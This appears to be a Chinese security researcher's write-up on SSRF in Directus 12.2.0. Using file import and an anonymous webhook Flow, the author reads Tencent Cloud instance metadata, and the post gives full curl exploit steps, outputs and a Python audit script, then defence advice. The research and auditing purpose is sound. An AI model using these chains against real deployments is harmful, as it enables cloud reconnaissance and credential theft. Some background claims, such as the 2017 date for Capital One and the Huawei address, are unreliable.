复现环境:Ubuntu 22.04 ,Docker Compose 跑了 Directus 12.2.0,数据库 PostgreSQL 16。同机还有 NocoDB 和 n8n,当内网靶标用。文里所有命令都在这个环境里跑过,输出没改。目标机器的 metadata 服务地址是 169.254.0.23,这是腾讯云的,不是 AWS 那个。

一、写在前面

之前我分析 Directus 文件导入的 SSRF,讲过私有网段盲区——默认黑名单只管本机,内网随便打。那篇结尾我留了个尾巴:AWS 的 metadata 地址 169.254.169.254 被默认黑名单拦了,当时觉得"官方至少防住了云上那条线"。

后来再想,不对劲。169.254.169.254 是 AWS 的地址,国内厂商的 metadata 服务可不长这样。腾讯云是 169.254.0.23,阿里云是 100.100.100.200,华为云还有自己的。Directus 的默认黑名单里只写了 AWS 那个,那国产云的地址是不是全放行?

这个问题的答案,就是这篇文章。

这篇的读者对象,是两类人:一类是把 Directus 这类低代码平台部署在国产云上的运维,想确认自己有没有踩这个坑;另一类是审计开源组件 SSRF 防护的开发者,想看看默认黑名单的设计盲区长什么样。两类读者读到的重点不一样,但验证数据是同一批,全部实测。

二、一个默认值引发的追问

先说清楚 metadata 是什么

云厂商的 metadata 服务,是给实例自己用的"自我介绍"接口。实例启动的时候,操作系统、配置工具、容器编排系统都会来问它:我是谁(instance-id)、我在哪(region)、我有什么网络配置(IP/MAC)、我有没有权限(角色凭证)。地址固定,协议固定,只有实例自己访问得到——至少设计意图是这样。

AWS 把 metadata 地址放在 169.254.169.254,这是个 link-local 地址(169.254.0.0/16 段),不经过路由就能访问,防火墙拦不住,因为它属于"本机链路"范畴。SSRF 漏洞一打这个地址,等于让服务器自己回答"我是谁"。2017 年 Capital One 事件就是这么干的:一个 SSRF 打到 metadata,拿走了 IAM 凭证,几百万用户的资料被拖走。从那以后,所有云厂商的安全基线里都有"SSRF 必须防 metadata"这一条。

但是注意,这个基线是 AWS 的基线。各家云厂商实现 metadata 服务,地址各不相同:

云厂商

metadata 地址

AWS

169.254.169.254

腾讯云

169.254.0.23

阿里云

100.100.100.200

华为云

169.254.169.254(与 AWS 相同)

问题来了:如果开源项目的默认黑名单里只写了 AWS 那个地址,国产云的用户部署上去,等于没有防护。

黑名单默认值

先看 IMPORT_IP_DENY_LIST 的默认值到底写了什么。源码在 packages/env/src/constants/defaults.ts:

IMPORT_IP_DENY_LIST: ['0.0.0.0', '169.254.169.254'],

就两条。0.0.0.0 是上次 CVE 修复加的,169.254.169.254 是 AWS metadata。我把它跟 CVE-2026-61835 的修复对照着看,发现一个细节:官方修 0.0.0.0 的时候,把 0.0.0.0/8 网段和 IPv6 的 :: 都塞进了黑名单,还顺手把本机所有网卡 IP 加进去。这一套操作下来,本机是保住了,但"云厂商 metadata"只保了 AWS 一家。

0.0.0.0 的特殊处理

11.17.0 的 is-denied-ip.ts 里,0.0.0.0 的处理是这样:

if (blockNetwork === '0.0.0.0') {
    blockNetworkInterfaces = true;
    continue;
}

只设了一个标志位然后跳过,0.0.0.0 这个地址本身没进黑名单。12.2.0 的修复版本:

if (blockNetwork === '0.0.0.0') {
    blockNetworkInterfaces = true;
    blockList.parseSubnet('0.0.0.0/8');
    blockList.parseAddress('::');
    continue;
}

多了 parseSubnet('0.0.0.0/8') 和 parseAddress('::')。这个修复本身是对的,但它只解决了 0.0.0.0 这一个字面量。黑名单的覆盖范围,还是"本机 + 一个云厂商的地址"。顺带交代一下背景:这个 0.0.0.0 绕过是 CVE-2026-61835,2026 年 7 月 15 号公开,12.0.0 之前全受影响,这里讲的修复就是它对应的补丁。

拦截逻辑在哪

防护挂在 axios 的自定义 agent 上。文件导入的 services/files.ts 里:

const axios = await getAxios();
fileResponse = await axios.get<Readable>(encodeURL(importURL), {
    responseType: 'stream',
    decompress: false,
});

getAxios() 返回的实例挂了 agent,连接前查一次黑名单,DNS 解析后再查一次。文件导入和 Flow 的 request 操作共用这一个实例,后面两条链都跟它有关。

追问:国产云呢

问题就出在默认值只写了 AWS。169.254.169.254 是 AWS 的 link-local 地址,腾讯云用的是 169.254.0.23,阿里云是 100.100.100.200。这些地址一个都不在默认黑名单里。

理论上,任何能触发服务器发请求的功能,都能打到国产云的 metadata。至于是不是真的能打,上服务器实测。

三、环境:一台主机上的 Directus

部署简述

Directus 用 Docker Compose 部署,一条命令的事。compose 里两个服务:postgres 数据库加 directus 本体。我踩过的坑:compose 自动创建的 uploads 目录属主是 root,容器里的 node 用户(uid 1000)写不进去,日志报 WARN: Upload directory is not read/writeable。我删掉目录用 ubuntu 用户重建——ubuntu 的 uid 正好也是 1000,绕过去了。这个坑和本文主题无关,但部署阶段卡了二十分钟,值得记一笔。

版本确认用管理员 token 查 /server/info,version 是 12.2.0,2026-07-29 构建的最新版。

容器拓扑

直接看 docker ps:

docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}" | grep -E "directus|nocodb|n8n-vulnerable|NAMES"
NAMES              STATUS                PORTS
directus           Up 38 seconds         0.0.0.0:8055->8055/tcp
directus-db        Up 3 days             5432/tcp
nocodb             Up 10 days            0.0.0.0:8080->8080/tcp
n8n-vulnerable     Up 2 weeks            0.0.0.0:5678->5678/tcp

Directus 在 8055,NocoDB 在 8080,n8n 在 5678。metadata 服务不在 docker 网络里,它在宿主机上,地址 169.254.0.23,只对宿主机自己可达。

容器网络

看下容器在 docker 网络里的位置:

docker inspect directus --format "{{range .NetworkSettings.Networks}}{{.IPAddress}} gw={{.Gateway}}{{end}}"
172.20.0.3 gw=172.20.0.1

docker inspect nocodb --format "{{range .NetworkSettings.Networks}}{{.IPAddress}} gw={{.Gateway}}{{end}}"
172.17.0.2 gw=172.17.0.1

Directus 在 172.20.0.3,NocoDB 在 172.17.0.2,两个不同的 bridge 网络。SSRF 要打 NocoDB 得经过网关,这属于内网探测的范畴,这篇的重点是云 metadata。

腾讯云 metadata 服务结构

先摸一下 metadata 服务本身长什么样。在宿主机上直接 curl:

curl -s http://169.254.0.23/latest/meta-data/
app-id
instance-id
local-ipv4
mac
public-ipv4
uuid
instance-name
hostname
placement/
payment/
network/
volumes/
instance/
ntp/
rdma-subnet

instance-id、uuid、hostname、网络信息全在。腾讯云的 metadata 协议和 AWS 基本一致,都是 /latest/meta-data/ 这套路径,区别只在 IP 地址不同。所以默认黑名单里写了 AWS 的地址却没写腾讯云的,就不是"协议不支持"的问题,纯粹是没想到。

四、链 A:有账号的 SSRF,import 直通云 metadata

谁有 import 权限

链 A 的第一步是身份。import 端点需要 directus_files 的创建权限,默认管理员有,真实部署里编辑角色也经常被授予——内容编辑要传封面图、附件,这是刚需。

我在环境里建了一个 content-editor 角色验证过:只给 directus_files 的 create 权限,其他一律不给。用 editor 账号跑 import,HTTP 204(文件创建成功,editor 没有读权限看不到响应体),管理员视角查 files 列表能看到记录,uploaded_by 是 editor 的 id。这个验证过程有个坑:Directus 12 的权限模型是 role + policy,创建 policy 时带 roles 关联会报 FORBIDDEN,要先建最小 policy 再 PATCH 补用户关联,折腾了十几分钟。过程不展开,结论记一下:低权限编辑也能触发 import SSRF,链 A 的攻击者画像,就是真实环境里最常见的低权限内容账号。

打根路径

先登录拿 token,用文件导入功能 import metadata 根路径:

TOKEN=$(curl -s -X POST http://localhost:8055/auth/login -H 'Content-Type: application/json' \
  -d '{"email":"admin@example.com","password":"Admin123!"}' | python3 -c \
  'import sys,json;print(json.load(sys.stdin)["data"]["access_token"])')

curl -s -X POST http://localhost:8055/files/import \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.0.23/"}'

返回 200,文件入库。读回内容:

curl -s http://localhost:8055/assets/<file_id> -H "Authorization: Bearer $TOKEN"
1.0/
2017-09-19/
latest/
meta-data/

metadata 的目录结构被当成文件拉进了 Directus。HTTP 200,说明请求真的发出去了,黑名单没拦住。

拉敏感端点

目录结构只是第一步。把具体端点一个个拉出来:

curl -s -X POST http://localhost:8055/files/import \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.0.23/latest/meta-data/instance-id"}'

读回文件内容:

ins-2axv5mea

实例 ID 拿到了。继续拉其他端点,uuid、hostname、local-ipv4、placement/region、network/interfaces/macs,全部 200 入库:

/latest/meta-data/uuid                    → 200
/latest/meta-data/hostname                → 200
/latest/meta-data/local-ipv4              → 200
/latest/meta-data/placement/region        → 200
/latest/meta-data/network/interfaces/macs → 200

到这一步,实例的指纹信息已经完整泄露:ID、区域、主机名、内网 IP、MAC 列表。攻击者拿这些可以做后续的精准打击。

对照组:AWS 地址被拦

为了确认"不是所有 metadata 都能打,只有国产云漏了",跑一遍 AWS 地址:

curl -s -X POST http://localhost:8055/files/import \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
{"errors":[{"message":"Service \"external-file\" is unavailable. Couldn't fetch file from URL ..."}]}

被拦了。默认黑名单里的 169.254.169.254 生效,AWS 的地址打不进去。日志里能看到具体原因:

WARN: Couldn't fetch file from URL "http://169.254.169.254/latest/meta-data/": Requested domain "169.254.169.254" resolves to a denied IP address

一拦一放,差别就出来了。阿里云的 100.100.100.200 我也试了,这台机器上不可达(防火墙层面就断了,HTTP 000),所以文章里只写实测成功的腾讯云,阿里云属于"不在名单但环境未验证"。

CAM 角色凭证的诚实边界

腾讯云 metadata 里有个目录专门放临时凭证:

/latest/meta-data/cam/security-credentials/

我试了,404。原因是这台机器没有绑定 CAM 角色。腾讯云的机制是:实例绑了角色,metadata 里才有 security-credentials,里面是 AK/SK 的临时凭证;没绑角色,这个端点就是空的。

所以诚实地说,实测拿到的是实例指纹信息,不是云凭证。但如果目标实例绑了 CAM 角色(生产环境很常见,尤其是容器和 K8s 节点,为了给工作负载发临时权限),那这个端点就是有内容的——SSRF 直接拉回来就是一组临时 AK/SK。机制和 AWS 完全一样,只是地址不同,这一点放到影响评估那节细说。

五、链 B:零账号的 SSRF,匿名 Webhook Flow

链 A 需要账号。有没有不需要账号的路?有,Directus 的 Webhook Flow。

Flow 是什么,Webhook 触发怎么进

先说 Flow。Directus 的 Flow 是可视化自动化工作流,类似 n8n:一个触发器加一串操作。触发器有 webhook、schedule、event 几种。Webhook 触发器的意思是:外部发一个 HTTP 请求到 /flows/trigger/,Flow 就跑起来。

路由注册在源码里,api/src/controllers/flows.ts:

router.get(`/trigger/:pk(${UUID_REGEX})`, checkIsLocked('flows'), webhookFlowHandler, respond);
router.post(`/trigger/:pk(${UUID_REGEX})`, checkIsLocked('flows'), webhookFlowHandler, respond);

没有认证中间件,只有一把"流程是否锁定"的锁。runWebhookFlow 的实现更直接——从内存表里按 id 找 handler,找到就执行,从头到尾没有检查调用者身份:

public async runWebhookFlow(id, data, context) {
    if (!(id in this.webhookFlowHandlers)) {
        throw new ForbiddenError();
    }
    const handler = this.webhookFlowHandlers[id];
    return handler(data, context);
}

唯一的门槛是 UUID 好不好猜。UUID 有 122 位随机熵,理论上猜不到,但 flow 的 id 会出现在活动日志、分享出去的链接、前端的各种状态里,泄露途径并不少。安全上把防线建立在"别人猜不到我的 ID"上,本身就挺脆。

Flow request 操作源码

Flow 的 request 操作源码,api/src/operations/request/index.ts:

import { getAxios } from '../../request/index.js';
...
const axios = await getAxios();
const result = await axios({
    url: encodeUrl(url),
    method,
    data: body,
    headers: customHeaders,
});

关键就在 getAxios。文件导入用的也是它,同一个实例、同一套黑名单。黑名单默认值就那两条,所以 Flow 的 request 打 169.254.0.23 同样不拦。

区别在哪?Flow 走的是另一条触发链路,接下来细说。

匿名触发,metadata 回显

建一个 Webhook Flow,request 操作指向 metadata。踩了几个坑,记录一下。

一开始我图省事,想一个 POST 把 Flow 和嵌套 operations 一起建了,结果直接报 Validation failed——operation 的 key、type、position_x、position_y 必须都有。改成先建 Flow,再单独建 operation 就通了:

# 先建 Flow
curl -s -X POST http://localhost:8055/flows \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"meta-flow","status":"active","trigger":"webhook","accountability":"all","options":{"method":"GET"}}'

第二个坑更隐蔽。Flow 建完,operation 也建了,触发之后 $last 还是触发数据,request 的结果没进去。查了半天才发现 flow 的 operation 字段(入口操作)是 null,得 PATCH 显式关联:

# 挂 request 操作
curl -s -X POST http://localhost:8055/operations \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"flow":"<flow_id>","type":"request","key":"op-meta","position_x":1,"position_y":1,"options":{"url":"http://169.254.0.23/latest/meta-data/instance-id","method":"GET"}}'

# 把入口操作关联到 flow
curl -s -X PATCH http://localhost:8055/flows/<flow_id> \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"operation":"<op_id>"}'

还有 return 字段这关。Webhook 触发器 options 里要配 "return":"$all",触发才会返回操作结果,否则只返回触发数据。$ 在 bash 里会被展开,我写成 JSON 文件用 -d @file 绕过去。

最后一个坑:Flow 建完不生效,触发 403,日志里写 "Couldn't find webhook or manual triggered flow"。要 docker restart directus 让 Flow 热加载,等十几秒再触发。

这些都搞定之后,不带任何 token 触发:

curl -s "http://localhost:8055/flows/trigger/<flow_id>"
{"$trigger":{...},"$last":{"status":200,"statusText":"OK",...,"data":"ins-2axv5mea"},...}

$last 里的 data 就是 instance-id。整个过程没有任何认证——没登录、没 token、没 IP 白名单,一个 curl 就拿到了云实例 ID。

系统身份意味着什么

看触发响应的 $accountability 字段:

"$accountability": {
    "role": null,
    "user": null,
    "roles": [],
    "admin": false,
    "app": false,
    "ip": "172.20.0.1"
}

role 和 user 全是 null。在 Directus 里,accountability 为 null 就是系统身份,执行时不经过任何权限校验。管理员配 Flow 的时候选了 $all(所有用户可触发),配完这个 Flow 就等于一个匿名可调的、以系统身份发请求的 API。

两条链的差别就在这里:链 A 要 editor 以上账号,链 B 什么都不要。管理员配一个 Webhook Flow 是常规操作,配完就开门了,界面上没有任何警告。

管理员为什么会配出这种 Flow

写到这里我停了一下,认真想了想管理员配 Flow 的动机。Webhook Flow 的典型用法,是给外部系统一个回调入口:订单系统推消息进来,触发一个流程,往数据库写一条记录,或者调一个第三方接口。这种场景下,外部系统没有 Directus 的账号,所以触发器的 accountability 只能选 $all——选了 trigger 的话,匿名请求连触发都触发不了。从业务角度看这是合理的,自动化就是要打通系统边界。

坑就出在这里。Directus 把"谁能触发"和"操作以什么身份执行"拆成了两个独立配置。管理员配 Flow 的时候,脑子里想的是"让外部系统能触发",但 request 操作执行的时候,用的身份是系统级。两个配置项分开看都没问题,组合起来就是一条匿名系统执行链。

request 操作本身也是为正常业务设计的——自动化流程经常要调外部 API、拉数据。它复用了文件导入那套 SSRF 防护,但防护的默认值只覆盖本机和 AWS metadata。防护的意图是有的,覆盖范围没跟上。

六、影响评估:云 metadata 泄露的实际危害

实例指纹的价值

实测拿到的:instance-id、uuid、hostname、region、内网 IP、MAC。这些算不算敏感?单独看每条都不致命,合起来是一个完整的实例画像:

  • instance-id 是云厂商内部标识,配合 region 可以定位实例
  • hostname 往往带业务信息(生产、测试、项目代号)
  • 内网 IP + MAC 可以直接画网络拓扑

对攻击者来说,这相当于打内网之前的侦察完成了一半。后续配合其他漏洞(比如同网络里的服务)就能精准打击。举个具体的场景:拿到 hostname 和 region 之后,攻击者可以判断这台机器跑的是什么业务(hostname 里经常带 staging、prod 这类标识),配合之前提到的内网 SSRF 打同网络的数据库、Redis,或者对着 region 猜这台机器有没有绑定对象存储权限。指纹本身不直接产生危害,但它把后续攻击的搜索空间缩小了一大截。

还有一个容易被忽略的点:metadata 里的 mac 地址和 uuid,在云厂商的工单系统、备案记录里是可以反查的。换句话说,拿到了实例指纹,就拿到了这台机器在云厂商侧的"身份证号"。

绑了角色就是云凭证

先说清楚边界:这台机器没绑 CAM 角色,security-credentials 是 404,我没拿到凭证。以下是对机制的推演,不是实测结果。

腾讯云的 CAM 角色机制:实例绑定角色后,metadata 的 /latest/meta-data/cam/security-credentials/ 会返回一组临时 AK/SK,有效期几小时,自动轮换。容器、K8s 节点、Serverless 这些场景为了给工作负载授权,基本都会绑角色——不绑的话服务没法访问对象存储、没法拉私有镜像。

所以对绑了角色的实例,上面的链 A 和链 B 就不是读指纹这么简单了,直接就是拿凭证:import 或匿名 Flow 把 security-credentials 端点拉回来,就是一组真实有效的临时 AK/SK。拿到 AK/SK 之后能干什么,云厂商的文档写得清清楚楚,这里不展开。

一句话:默认配置的 Directus,遇到绑了角色的实例,就是一条从文件导入(或匿名 Flow)直达云凭证的链。我这次没绑角色,所以文章里只标到"指纹泄露 + 凭证机制推演"。

给维护组件的人提个醒

写完这篇我想了想,这个问题不只在 Directus 上。SSRF 黑名单的默认值怎么写,很多项目是照着 AWS 的安全文档抄的——metadata 地址填 169.254.169.254,抄完收工。AWS 文档传播最广,这个惯性可以理解,但国产云用户部署上去,防护就是空的。我没逐一验证其他项目,不点名,只提醒一句:你要是维护需要防 SSRF 的组件,默认黑名单里除了 AWS,把国产云那几家地址也加上,顺手的事。

七、加一个 metadata 检测模式

验证做完,把流程收进脚本。在之前的 import-ssrf-audit.py 基础上加 --metadata-check 模式,专门检测国产云 metadata 可达性:

#!/usr/bin/env python3
"""directus import ssrf check - 检测 /files/import 的 SSRF 面(含国产云 metadata)
用法: python3 import-ssrf-audit.py <base_url> <email> <password> [url1 url2 ...]
      python3 import-ssrf-audit.py <base_url> <email> <password> --cve-check [port]
      python3 import-ssrf-audit.py <base_url> <email> <password> --metadata-check
--cve-check   检测当前版本是否受 CVE-2026-61835 影响
--metadata-check  检测国产云 metadata 是否可达(AWS 地址为对照组)
"""
import sys, json
from urllib.parse import urlparse
import urllib.request, urllib.error

META_TARGETS = [
    # (名称, 地址, 是否应在默认黑名单内)
    ('aws',      'http://169.254.169.254/latest/meta-data/', True),
    ('tencent',  'http://169.254.0.23/latest/meta-data/instance-id', False),
    ('aliyun',   'http://100.100.100.200/latest/meta-data/', False),
]

def post(url, data, tok=None, full=False):
    req = urllib.request.Request(url, data=json.dumps(data).encode(),
                                 headers={'Content-Type': 'application/json'})
    if tok:
        req.add_header('Authorization', 'Bearer ' + tok)
    try:
        r = urllib.request.urlopen(req, timeout=15)
        body = r.read().decode()
        return r.status, body if full else body[:200]
    except urllib.error.HTTPError as e:
        body = e.read().decode()
        return e.code, body if full else body[:200]
    except Exception as e:
        return 0, str(e)[:120]

def metadata_check(base, tok):
    for name, url, in_default in META_TARGETS:
        s, b = post(base + '/files/import', {'url': url}, tok)
        low = b.lower()
        if s == 200:
            verdict = 'HIT'
        elif s == 503 and "couldn't fetch" in low:
            verdict = 'BLOCKED'
        elif s == 0:
            verdict = 'UNREACHABLE'
        else:
            verdict = 'FAIL'
        flag = ''
        if verdict == 'HIT' and not in_default:
            flag = '  <-- 不在默认黑名单,可打'
        if verdict == 'BLOCKED' and in_default:
            flag = '  <-- 默认黑名单生效'
        print(f'[{verdict:11s}] {name:8s} {url}{flag}')

def cve_check(base, tok, port=None):
    u = urlparse(base)
    port = port or u.port or 8055
    targets = [
        f'http://0.0.0.0:{port}/server/ping',
        f'http://127.0.0.1:{port}/server/ping',
    ]
    hit = False
    for t in targets:
        s, b = post(base + '/files/import', {'url': t}, tok)
        low = b.lower()
        if s == 200:
            verdict = 'HIT'
        elif s == 503 and "couldn't fetch" in low:
            verdict = 'BLOCKED'
        else:
            verdict = 'FAIL'
        print(f'[{verdict}] {t} -> HTTP {s}')
        if verdict == 'HIT':
            hit = True
    if hit:
        print('[!] VULNERABLE: 0.0.0.0 bypass works (CVE-2026-61835, version < 12.0.0)')
    else:
        print('[+] 0.0.0.0 bypass blocked (fix present, version >= 12.0.0)')

def main():
    if len(sys.argv) < 4:
        print(__doc__)
        sys.exit(1)
    base = sys.argv[1].rstrip('/')
    user, pw = sys.argv[2], sys.argv[3]

    s, b = post(base + '/auth/login', {'email': user, 'password': pw}, full=True)
    if s != 200:
        print('login failed:', s, b)
        sys.exit(1)
    tok = json.loads(b)['data']['access_token']
    print('[+] login ok, token len', len(tok))

    if len(sys.argv) > 4:
        if sys.argv[4] == '--cve-check':
            port = int(sys.argv[5]) if len(sys.argv) > 5 else None
            cve_check(base, tok, port)
            return
        if sys.argv[4] == '--metadata-check':
            metadata_check(base, tok)
            return
        targets = sys.argv[4:]
    else:
        targets = [
            'http://127.0.0.1:8055/server/ping',
            'http://0.0.0.0:8055/server/ping',
            'http://172.20.0.1:8080/api/v1/health',
            'http://10.1.0.3:8080/api/v1/health',
        ]

    for t in targets:
        s, b = post(base + '/files/import', {'url': t}, tok)
        low = b.lower()
        if s == 200:
            verdict = 'HIT'
        elif s == 503 and "couldn't fetch" in low:
            verdict = 'BLOCKED'
        elif s == 0:
            verdict = 'TIMEOUT'
        else:
            verdict = 'FAIL'
        print(f'[{verdict}] {t} -> HTTP {s}')

if __name__ == '__main__':
    main()

跑一下 metadata 检测,输出以真实运行为准:

python3 import-ssrf-audit.py http://localhost:8055 admin@example.com Admin123! --metadata-check
[+] login ok, token len 321
[BLOCKED    ] aws      http://169.254.169.254/latest/meta-data/  <-- 默认黑名单生效
[HIT        ] tencent  http://169.254.0.23/latest/meta-data/instance-id  <-- 不在默认黑名单,可打
[UNREACHABLE] aliyun   http://100.100.100.200/latest/meta-data/

三行输出把整篇文章的核心结论压缩完了:AWS 被默认黑名单拦着,腾讯云放行,阿里云这台机器不可达。安全团队拿这个脚本对线上实例跑一遍,几秒钟就知道国产云 metadata 有没有暴露,不用手工一个个试。

八、防御建议

  1. 黑名单补全国产云地址。IMPORT_IP_DENY_LIST 加上 169.254.0.23、100.100.100.200,以及各云厂商完整的 metadata 网段:
IMPORT_IP_DENY_LIST=0.0.0.0,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.169.254,169.254.0.23,100.100.100.200
  1. Flow 触发加认证。Webhook Flow 默认匿名可触发,建议在 Flow 前面挂网关做签名校验,或者把 accountability 从 all 改成 trigger。
  2. 云侧加固。实例不绑角色就别绑;必须绑角色的,用最小权限策略,别把整个账号的权限挂上去。metadata 服务本身一般不能关,但可以限制访问来源。
  3. 更新版本。CVE-2026-61835 和 CVE-2026-61836 都是 2026-07-15 公开的,12.0.0 之前全受影响。官方对 0.0.0.0 的修复是有效的,但黑名单的覆盖范围需要管理员自己补。
  4. 自查清单。如果你不确定自己的部署有没有这个问题,用交付脚本跑一遍:
python3 import-ssrf-audit.py http://localhost:8055 admin@example.com Admin123! --metadata-check

输出里 tencent 那行是 HIT,就说明你的实例 metadata 是暴露的。补完黑名单再跑一遍,应该变成 BLOCKED。留个验证闭环,别补完配置就觉得自己安全了。

最后收个尾。这篇想说的就一件事:很多开源项目的 SSRF 默认黑名单里,metadata 地址只记得 AWS 那一个。换到阿里云、华为云,同样的默认值、同样的盲区。你要是审计这类组件,除了看它拦了什么,也看一眼它漏了哪家云——这个检查项值得写进自己的 checklist。